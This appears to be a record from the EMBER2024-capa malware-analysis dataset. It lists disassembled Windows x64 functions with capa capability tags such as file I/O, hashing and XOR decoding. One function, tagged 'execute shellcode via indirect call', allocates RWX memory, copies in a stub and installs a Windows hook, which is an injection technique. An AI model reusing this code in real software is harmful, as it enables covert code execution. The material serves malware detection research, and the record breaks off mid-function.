joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1405aee9c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, r8
test r8, r8
je 0x1405aeebc
and qword [r8], 0
lea rdx, [0x1406bc968]
call fcn.1405aed78
mov rbx, rax
test rax, rax
je 0x1405aefad
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x1405aefa4
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1405aefa4
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x1405aefa4
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1405aefa4
mov rbp, rdi
cmp rdi, 0xffffffffffffffff
je 0x1405aefa4
mov rax, qword [0x1406cf940]
test rax, rax
je 0x1405aef41
inc dword [rax + 0x3b0]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
je 0x1405aefa4
mov r9, rbx
mov r8, rbp
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rbp
je 0x1405aef91
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1406cf940]
test rax, rax
je 0x1405aef86
dec dword [rax + 0x3b0]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1405aefad
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rsi, rsi
je 0x1405aef9f
mov qword [rsi], rbp
mov rax, rdi
jmp 0x1405aefaf
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1405b0d6c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov dword [rsp + 0x10], edx
sub rsp, 0x28
movsxd rdx, dword [rcx + 0x108]
mov r9d, 4
mov rax, qword [rcx + 0x110]
mov r8d, dword [rax + rdx*4 - 4]
lea rdx, [rsp + 0x38]
not r8d
movzx eax, byte [rdx]
inc rdx
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
lea rax, [0x140671490]
xor r8d, dword [rax + rcx*4]
sub r9, 1
jne 0x1405b0d95
not r8d
mov ecx, r8d
call fcn.1405b0ecc
mov eax, r8d
add rsp, 0x28
ret

Function at 0x1405bad44
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 0x38
mov rax, qword [0x1406ce080]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rax, qword [0x1406cf940]
mov r10d, 4
mov dword [rsp + 0x20], ecx
mov r9, qword [rax + 0x1b90]
movsxd rcx, dword [r9 + 0x108]
mov rax, qword [r9 + 0x110]
mov r8d, dword [rax + rcx*4 - 4]
lea rcx, [rsp + 0x20]
not r8d
movzx eax, byte [rcx]
inc rcx
movzx edx, r8b
xor rdx, rax
shr r8d, 8
lea rax, [0x140671490]
xor r8d, dword [rax + rdx*4]
sub r10, 1
jne 0x1405bad8a
not r8d
lea rdx, [rsp + 0x20]
lea rcx, [r9 + 0x108]
mov dword [rsp + 0x20], r8d
call fcn.1405c8ed8
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140657090
add rsp, 0x38
ret
Function at 0x1405bfb30
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], r8
mov qword [rax + 0x20], r9
push rbx
push rbp
push rdi
sub rsp, 0x20
mov rbx, qword [0x1406cf940]
cmp byte [rbx + 0x3000], 0
je 0x1405bfbf1
cmp qword [rbx + 0x3008], 0
lea rbp, [rax + 0x10]
lea rdi, [rbx + 0x3010]
je 0x1405bfbe3
mov r9d, dword [rdi + 4]
test r9d, r9d
jns 0x1405bfb9b
mov eax, r9d
mov rcx, rdi
cdq
sub eax, edx
xor edx, edx
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.1405c9208
mov rcx, qword [rsp + 0x40]
and dword [rdi], 0
mov rdx, rcx
mov rcx, rdi
mov r8, rbp
call fcn.1405af5dc
mov eax, dword [rdi]
mov edx, 1
mov r9, qword [rbx + 0x3008]
lea ecx, [rax - 1]
neg eax
sbb eax, eax
and eax, ecx
lea rcx, [0x1406cf938]
movsxd r8, eax
mov rax, qword [rbx + 0x3018]
test rax, rax
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
jmp 0x1405bfbf1
mov rdx, rcx
mov r8, rbp
mov rcx, rdi
call fcn.1405af5dc
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret

Function at 0x1405c0238
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rax, qword [0x1406cf940]
mov rbx, rcx
and dword [rax + 0x2fbc], 0
test rcx, rcx
je 0x1405c02a1
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x30]
call fcn.1405c02ac
lea rdx, [0x1406bc96c]
mov rcx, rbx
mov rdi, rax
call fcn.1405aed78
mov rbx, rax
test rax, rax
je 0x1405c02a1
mov r8, qword [rsp + 0x30]
mov r9, rax
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1405e66a8
Capabilities:
Get file size
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x40
and qword [rax - 0x18], 0
xor r9d, r9d
mov dword [rax - 0x20], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rax - 0x28], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1405e66e9
xor eax, eax
jmp 0x1405e674e
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor ecx, ecx
mov edx, eax
mov r8d, 0x3000
mov ebx, eax
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
and qword [rsp + 0x20], 0
xor r9d, r9d
mov rdx, rax
mov r8d, ebx
mov rcx, rsi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1405e6731
cmp dword [rdi], 0x905a4d
je 0x1405e6742
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x1405e67f4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
movabs rax, 0x22b19cc6757985ff
mov r15, rcx
mov qword [rsp + 0x30], rax
lea rcx, [r11 - 0x48]
movabs rax, 0x9dcb78ffef4320fc
mov rdi, r9
mov qword [rsp + 0x38], rax
mov rsi, r8
movabs rax, 0x4ed5b2aa191df191
mov ebp, edx
mov qword [r11 - 0x58], rax
movabs rax, 0x9dcb78ffef432090
mov qword [r11 - 0x50], rax
movups xmm0, xmmword [rsp + 0x20]
pxor xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, 0x1000
mov rcx, r15
mov rbx, rax
call fcn.1405a2908
mov edx, reloc.WS2_32.dll_WSACleanup
xor ecx, ecx
mov r8d, 0x3000
mov r12, rax
lea r9d, [rdx - 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movups xmm0, xmmword [0x1406ce0f0]
mov r9d, reloc.WS2_32.dll_WSACleanup
mov r13, rax
mov rdx, r12
mov r8, r13
mov rcx, r15
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1406ce100]
lea r14, [r13 + 0x5c]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1406ce110]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [0x1406ce120]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [0x1406ce130]
movups xmmword [rax + 0x40], xmm0
movsd xmm0, qword [0x1406ce140]
movsd qword [rax + 0x50], xmm0
mov eax, dword [0x1406ce148]
mov dword [r13 + 0x58], eax
lea rax, [r12 + 0x5c]
mov qword [r13 + 6], rax
mov qword [r14 + 0x10], rsi
mov eax, dword [rdi + 0x28]
add rax, rsi
mov qword [r14 + 8], rax
call fcn.1405a280c
mov r9d, ebp
mov r8, rbx
mov rdx, r12
mov ecx, 7
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
mov rdi, rax
jmp 0x1405e694d
mov r9d, Ordinal_26
lea rdx, [r12 + 0x5c]
mov r8, r14
mov rcx, r15
call fcn.1405a2710
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [r14], 2
jne 0x1405e692c
mov rcx, rdi
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov rdx, r12
mov rcx, r15
call fcn.1405a29f4
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
mov rbx, qword [rsp + 0x90]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_VirtualFree]

Function at 0x1405e6990
Capabilities:
Enumerate pe sections

Disassembly:
movzx r9d, word [rdx + 0x14]
movzx eax, word [rdx + 6]
add r9, 0x18
add r9, rdx
lea rdx, [rax + rax*4]
lea r10, [r9 + rdx*8]
cmp r9, r10
jae 0x1405e69d5
mov edx, dword [r9 + 0xc]
cmp rcx, rdx
jb 0x1405e69c1
mov eax, dword [r9 + 8]
add eax, edx
cmp rcx, rax
jb 0x1405e69c7
add r9, 0x28
jmp 0x1405e69a8
mov eax, dword [r9 + 0x14]
sub rax, rdx
add rax, rcx
add rax, r8
ret
xor eax, eax
ret
Function at 0x1405ead04
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x160
mov rax, qword [0x1406ce080]
xor rax, rsp
mov qword [rsp + 0x150], rax
xor r9d, r9d
mov qword [rsp + 0x38], rcx
mov rbx, rcx
lea rax, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 5]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
and qword [rbx + 0x10], 0
and qword [rbx + 0x18], 0
test eax, eax
je 0x1405ead63
xor r8d, r8d
lea rdx, [0x14066aa0b]
jmp 0x1405ead7b
lea rax, [rsp + 0x40]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1405ead6c
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.1405ab00c
mov rax, rbx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140657090
add rsp, 0x160
pop rbx
ret
Function at 0x1405f0250
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rdi, r8
mov rsi, rdx
mov r10, rcx
cmp rdx, r8
je 0x1405f03f1
mov r14, qword [rcx + 0x18]
lea rax, [rcx + 8]
mov r12, qword [rdx + 8]
lea rcx, [rdx + 0x10]
cmp qword [rcx + 0x18], 0x10
mov r13, qword [rax]
mov r9, qword [rcx + 0x10]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], r12
mov qword [rbp - 0x10], rdx
jb 0x1405f02ab
mov rcx, qword [rcx]
xor r8d, r8d
movabs rdx, 0xcbf29ce484222325
movabs r11, 0x100000001b3
test r9, r9
je 0x1405f02db
movzx eax, byte [r8 + rcx]
inc r8
xor rdx, rax
imul rdx, r11
cmp r8, r9
jb 0x1405f02c7
mov r15, qword [r10 + 0x30]
lea rcx, [rbp - 0x20]
and r15, rdx
add r15, r15
mov rbx, qword [r14 + r15*8]
mov rax, qword [r14 + r15*8 + 8]
mov qword [rbp + 0x50], rbx
mov qword [rbp + 0x48], rax
call fcn.1405f040c
mov rax, qword [rbp + 0x48]
cmp rsi, rax
je 0x1405f0330
mov rcx, qword [rbp - 0x10]
cmp rcx, rdi
je 0x1405f03a7
cmp rcx, rax
lea rcx, [rbp - 0x20]
sete bl
call fcn.1405f040c
mov rax, qword [rbp + 0x48]
test bl, bl
je 0x1405f0308
mov rbx, qword [rbp + 0x50]
cmp rbx, rsi
jne 0x1405f033c
mov qword [r14 + r15*8], r13
mov r12, r13
mov qword [r14 + r15*8 + 8], r12
mov rcx, qword [rbp - 0x10]
cmp rcx, rdi
je 0x1405f03e6
mov r12, qword [rbp + 0x40]
lea rdx, [rcx + 0x10]
cmp qword [rdx + 0x18], 0x10
mov r9, qword [rdx + 0x10]
jb 0x1405f0364
mov rdx, qword [rdx]
xor r8d, r8d
movabs rsi, 0xcbf29ce484222325
test r9, r9
je 0x1405f0398
movabs rcx, 0x100000001b3
movzx eax, byte [r8 + rdx]
inc r8
xor rsi, rax
imul rsi, rcx
cmp r8, r9
jb 0x1405f0380
mov rcx, qword [rbp - 0x10]
and rsi, qword [r12 + 0x30]
add rsi, rsi
mov r15, qword [r14 + rsi*8 + 8]
jmp 0x1405f03b8
cmp qword [rbp + 0x50], rsi
jne 0x1405f03e6
mov qword [r14 + r15*8], rcx
jmp 0x1405f03e6
cmp rcx, rdi
je 0x1405f03e2
cmp rcx, r15
lea rcx, [rbp - 0x20]
sete bl
call fcn.1405f040c
mov rcx, qword [rbp - 0x10]
test bl, bl
je 0x1405f03b3
mov qword [r14 + rsi*8], r13
mov qword [r14 + rsi*8 + 8], r13
cmp rcx, rdi
je 0x1405f03e6
jmp 0x1405f0352
mov qword [r14 + rsi*8], rcx
mov rax, qword [rbp - 0x18]
mov qword [rax], rcx
mov qword [rcx + 8], rax
mov rbx, qword [rsp + 0x98]
mov rax, rdi
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1405f06fc
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x40
mov r15, r8
mov r14, rdx
mov rdx, r8
cmp qword [r8 + 0x18], 0x10
jb 0x1405f0722
mov rdx, qword [r8]
movabs rdi, 0xcbf29ce484222325
xor ecx, ecx
cmp qword [r8 + 0x10], rcx
jbe 0x1405f0752
movzx eax, byte [rcx + rdx]
xor rdi, rax
movabs r8, 0x100000001b3
imul rdi, r8
inc rcx
cmp rcx, qword [r15 + 0x10]
jb 0x1405f0734
mov r9, rdi
mov r8, r15
lea rdx, [rsp + 0x30]
call fcn.1405f2220
mov rax, qword [rsp + 0x38]
test rax, rax
je 0x1405f0779
mov qword [r14], rax
mov byte [r14 + 8], 0
jmp 0x1405f0942
movabs rax, 0x2aaaaaaaaaaaaaa
cmp qword [0x1406cfd90], rax
jne 0x1405f079a
lea rcx, str.unordered_map_set_too_long
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea rax, [0x1406cfd88]
mov qword [rsp + 0x20], rax
and qword [rsp + 0x28], 0
mov ecx, 0x60
call fcn.140657348
mov rsi, rax
mov qword [rsp + 0x28], rax
mov rdx, r15
lea rcx, [rax + 0x10]
call fcn.1405a9fc8
nop
and dword [rsi + 0x58], 0
mov r8, qword [0x1406cfd90]
lea rcx, [r8 + 1]
xorps xmm0, xmm0
test rcx, rcx
js 0x1405f07e9
cvtsi2ss xmm0, rcx
jmp 0x1405f07fe
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
mov rbx, qword [0x1406cfdb8]
xorps xmm2, xmm2
test rbx, rbx
js 0x1405f0814
cvtsi2ss xmm2, rbx
jmp 0x1405f082c
mov rcx, rbx
shr rcx, 1
mov rax, rbx
and eax, 1
or rcx, rax
cvtsi2ss xmm2, rcx
addss xmm2, xmm2
movaps xmm1, xmm0
divss xmm1, xmm2
movss xmm3, dword [0x1406cfd80]
comiss xmm1, xmm3
seta al
test al, al
je 0x1405f08ce
divss xmm0, xmm3
call sub.api_ms_win_crt_math_l1_1_0.dll_ceilf
xor ecx, ecx
movss xmm1, dword [0x1406be45c]
comiss xmm0, xmm1
jb 0x1405f0877
subss xmm0, xmm1
comiss xmm0, xmm1
jae 0x1405f0877
movabs rax, 0x8000000000000000
mov rcx, rax
cvttss2si rax, xmm0
add rax, rcx
mov ecx, 8
cmp rax, rcx
cmova rcx, rax
cmp rbx, rcx
jae 0x1405f08a5
cmp rbx, 0x200
jae 0x1405f08a2
shl rbx, 3
cmp rbx, rcx
jae 0x1405f08a5
mov rbx, rcx
mov rdx, rbx
call fcn.1405f0d7c
lea r8, [rsi + 0x10]
mov r9, rdi
lea rdx, [rsp + 0x30]
call fcn.1405f2220
movups xmm0, xmmword [rax]
movdqu xmmword [rsp + 0x30], xmm0
mov r8, qword [0x1406cfd90]
and qword [rsp + 0x28], 0
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rcx + 8]
inc r8
mov qword [0x1406cfd90], r8
mov qword [rsi], rcx
mov qword [rsi + 8], rdx
mov qword [rdx], rsi
mov qword [rcx + 8], rsi
mov rax, qword [0x1406cfd98]
and rdi, qword [0x1406cfdb0]
add rdi, rdi
mov r8, qword [rax + rdi*8]
cmp r8, qword [0x1406cfd88]
jne 0x1405f0919
mov qword [rax + rdi*8], rsi
jmp 0x1405f092b
cmp r8, rcx
jne 0x1405f0924
mov qword [rax + rdi*8], rsi
jmp 0x1405f0930
cmp qword [rax + rdi*8 + 8], rdx
jne 0x1405f0930
mov qword [rax + rdi*8 + 8], rsi
mov qword [r14], rsi
mov byte [r14 + 8], 1
lea rcx, [rsp + 0x20]
call fcn.1405f09f8
mov rax, r14
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
Function at 0x1405f0d7c
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x20
movabs rax, 0xfffffffffffffff
bsr rcx, rax
mov eax, 1
shl rax, cl
cmp rdx, rax
jbe 0x1405f0dbb
lea rcx, str.invalid_hash_bucket_count
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
mov rbp, qword [0x1406cfd88]
lea rax, [rdx - 1]
or rax, 1
mov ebx, 1
bsr rcx, rax
mov r8, rbp
inc ecx
shl rbx, cl
lea rcx, [0x1406cfd98]
lea rdx, [rbx + rbx]
call fcn.1405f0540
lea rdx, [rbx - 1]
mov qword [0x1406cfdb8], rbx
mov rbx, qword [0x1406cfd88]
mov qword [0x1406cfdb0], rdx
mov rbx, qword [rbx]
mov rdi, rbx
cmp rbx, rbp
je 0x1405f0f76
mov rdi, qword [rdi]
lea r15, [rbx + 0x10]
cmp qword [r15 + 0x18], 0x10
mov r8, r15
jb 0x1405f0e27
mov r8, qword [r15]
xor ecx, ecx
movabs r14, 0xcbf29ce484222325
cmp qword [r15 + 0x10], rcx
jbe 0x1405f0e58
movzx eax, byte [rcx + r8]
movabs r9, 0x100000001b3
xor r14, rax
inc rcx
imul r14, r9
cmp rcx, qword [r15 + 0x10]
jb 0x1405f0e39
mov r12, qword [0x1406cfd98]
and r14, rdx
add r14, r14
cmp qword [r12 + r14*8], rbp
jne 0x1405f0e79
mov qword [r12 + r14*8], rbx
mov qword [r12 + r14*8 + 8], rbx
jmp 0x1405f0f62
mov rsi, qword [r12 + r14*8 + 8]
lea rdx, [rsi + 0x10]
cmp qword [rdx + 0x18], 0x10
mov rax, qword [rdx + 0x10]
jb 0x1405f0e90
mov rdx, qword [rdx]
cmp qword [r15 + 0x18], 0x10
mov rcx, r15
jb 0x1405f0e9d
mov rcx, qword [r15]
cmp qword [r15 + 0x10], rax
jne 0x1405f0edb
mov r8, qword [r15 + 0x10]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1405f0edb
mov r8, qword [rsi]
cmp r8, rbx
je 0x1405f0e6f
mov rdx, qword [rbx + 8]
mov qword [rdx], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], r8
mov rax, qword [r8 + 8]
mov qword [rax], rbx
mov qword [r8 + 8], rcx
mov qword [rdi + 8], rdx
mov qword [rbx + 8], rax
jmp 0x1405f0e6f
cmp qword [r12 + r14*8], rsi
je 0x1405f0f3d
mov rsi, qword [rsi + 8]
lea rdx, [rsi + 0x10]
cmp qword [rdx + 0x18], 0x10
mov rax, qword [rdx + 0x10]
jb 0x1405f0ef7
mov rdx, qword [rdx]
cmp qword [r15 + 0x18], 0x10
mov rcx, r15
jb 0x1405f0f04
mov rcx, qword [r15]
cmp qword [r15 + 0x10], rax
jne 0x1405f0edb
mov r8, qword [r15 + 0x10]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1405f0edb
mov r8, qword [rsi]
mov rdx, qword [rbx + 8]
mov qword [rdx], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], r8
mov rax, qword [r8 + 8]
mov qword [rax], rbx
mov qword [r8 + 8], rcx
mov qword [rdi + 8], rdx
mov qword [rbx + 8], rax
jmp 0x1405f0f62
mov rdx, qword [rbx + 8]
mov qword [rdx], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rsi
mov rax, qword [rsi + 8]
mov qword [rax], rbx
mov qword [rsi + 8], rcx
mov qword [rdi + 8], rdx
mov qword [rbx + 8], rax
mov qword [r12 + r14*8], rbx
mov rbx, rdi
cmp rdi, rbp
je 0x1405f0f76
mov rdx, qword [0x1406cfdb0]
jmp 0x1405f0e13
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x1405f6ff0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 7], sil
je 0x1405f7024
mov eax, esi
lea ecx, [rax - 0x65]
xor byte [r8 + rax], cl
inc rax
cmp rax, 6
jb 0x1405f7010
mov byte [r8 + 7], sil
add r8, 6
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.1405f138c
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x1405f7049
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.1405ab6d8
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1405f70c3
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1405f70be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1405f70be
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140657384
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x1405f70d0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 9], sil
je 0x1405f7104
mov eax, esi
lea ecx, [rax - 0x65]
xor byte [r8 + rax], cl
inc rax
cmp rax, 8
jb 0x1405f70f0
mov byte [r8 + 9], sil
add r8, 8
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.1405f138c
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x1405f7129
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.1405ab6d8
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1405f71a3
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1405f719e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1405f719e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140657384
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x1405f71b0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 0xa], sil
je 0x1405f71e4
mov eax, esi
lea ecx, [rax - 0x65]
xor byte [r8 + rax], cl
inc rax
cmp rax, 9
jb 0x1405f71d0
mov byte [r8 + 0xa], sil
add r8, 9
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.1405f138c
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x1405f7209
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.1405ab6d8
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1405f7283
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1405f727e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1405f727e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140657384
mov rax, rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret

Function at 0x1405f7290
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov r10, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
cmp byte [r8 + 0xc], sil
je 0x1405f72c4
mov eax, esi
lea ecx, [rax - 0x65]
xor byte [r8 + rax], cl
inc rax
cmp rax, 0xb
jb 0x1405f72b0
mov byte [r8 + 0xc], sil
add r8, 0xb
lea r9, [rsp + 0x20]
mov rdx, r10
lea rcx, [rsp + 0x30]
call fcn.1405f138c
nop
mov r9, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x1405f72e9
mov rbx, qword [rbx]
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.1405ab6d8
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1405f7363
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
